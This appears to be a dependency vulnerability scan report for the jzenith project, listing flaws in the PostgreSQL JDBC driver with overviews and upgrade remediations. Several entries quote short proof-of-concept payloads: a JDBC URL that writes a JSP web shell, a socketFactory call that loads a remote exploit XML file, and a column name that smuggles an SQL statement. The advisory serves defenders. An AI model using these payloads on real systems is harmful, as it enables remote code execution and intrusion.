Vulnerabilities

6 via 6 paths

Dependencies

8

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 6
  • 1
Severity
  • 1
  • 4
  • 2
Status
  • 7
  • 0
  • 0

critical severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.2.28.jre7.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection when using PreferQueryMode=SIMPLE, which is not the default setting. By passing in a numeric value placeholder immediately preceded by a minus and followed by a second placeholder for a string value, on the same line, an attacker can construct a payload that alters the parameterized query into which it is interpolated. This effectively bypasses the protections against SQL Injection that parameterized queries offer.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.28.jre7, 42.3.9, 42.4.4, 42.5.5, 42.6.1, 42.7.2 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.7.11.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the client-side SCRAM-SHA-256 authentication. An attacker can cause excessive CPU consumption by specifying a very large PBKDF2 iteration count during authentication attempts from a malicious server. This can lead to exhaustion of client CPU resources and disruption of connection pools.

Workaround

The following measures can reduce exposure:

  • Only connect to trusted PostgreSQL servers whose identity is verified. Connect only to trusted PostgreSQL servers, and verify server identity with TLS using sslmode=verify-full and a trusted CA. TLS without certificate and hostname verification is not sufficient as an active network attacker can still impersonate the server.

  • Do not rely on loginTimeout as a complete mitigation on unpatched versions. On affected versions, loginTimeout can stop the waiting caller while the worker thread continues spending CPU.

  • Avoid SCRAM on untrusted or interceptable connection paths. For those paths, use an authentication method that does not let the server choose a SCRAM PBKDF2 iteration count.

  • Reduce blast radius operationally. Limit parallel connection attempts, add retry backoff, isolate connection establishment in a separate worker or process when possible, and apply CPU or container limits where appropriate.

  • On trusted servers you control, keep SCRAM iteration counts at ordinary values. This does not defend against an attacker-controlled server, but it avoids unnecessary client cost when talking to legitimate servers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.postgresql:postgresql to version 42.7.11 or higher.

References

high severity

Arbitrary Code Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.3.3.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED

When an arbitrary filename is specified in the loggerFileName connection parameter, a valid JSP file is created and a Remote Code Execution could be performed.

Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.

PoC

jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>

Remediation

Upgrade org.postgresql:postgresql to version 42.3.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.2.25.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when using certain plugin features. pgjdbc instantiates plugin instances based on class names provided via authenticationPluginClassName, sslhostnameverifier, socketFactory, sslfactory, and sslpasswordcallback connection properties.

However, the driver did not verify if the class implements the expected interface before instantiating the class.

PoC

DriverManager.getConnection("jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");

Remediation

Upgrade org.postgresql:postgresql to version 42.2.25, 42.3.2 or higher.

References

high severity

SQL Injection

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.2.26.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to SQL Injection via the java.sql.ResultRow.refreshRow() function in jdbc/PgResultSet.java, due to insufficient escaping column names. An attacker with control of the underlying database can name a column with a string containing a semicolon or other statement terminator, then convince a user to run a query against the table with the compromised column, and then have the application run ResultSet.refreshRow(), to execute code.

NOTE:

  • An application that only connects to its own database with a fixed schema with no DDL permissions is not affected by this vulnerability.
  • Additionally, applications that do not invoke ResultSet.refreshRow() are not affected.

PoC:

CREATE TABLE refresh_row_example (
  id     int PRIMARY KEY,
  "1 FROM refresh_row_example; SELECT pg_sleep(10); SELECT * " int
);

Remediation

Upgrade org.postgresql:postgresql to version 42.2.26, 42.3.7, 42.4.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@42.2.16

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith org.postgresql:postgresql@42.2.16
    Remediation: Upgrade to org.postgresql:postgresql@42.2.27.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Information Exposure in the pgjdbc driver, which writes to the operating system's shared temp directory when the InputStream to either PreparedStatement.setText(int, InputStream) or PreparedStatemet.setBytea(int, InputStream) is larger than 2K. The temporary file is readable by other users. This is the default system behavior on Unix systems but not on MacOS.

NOTE: This vulnerability is only fixed for JDK 1.7. Systems using JDK 1.6 or below can work around the vulnerability by setting the environment variable java.io.tmpdir to a non-world-readable location.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.27, 42.3.8, 42.4.3, 42.5.1 or higher.

References

medium severity

LGPL-2.1 license

  • Module: com.github.spotbugs:spotbugs-annotations
  • Introduced through: com.github.spotbugs:spotbugs-annotations@4.1.2

Detailed paths

  • Introduced through: marcust/jzenith@marcust/jzenith com.github.spotbugs:spotbugs-annotations@4.1.2

LGPL-2.1 license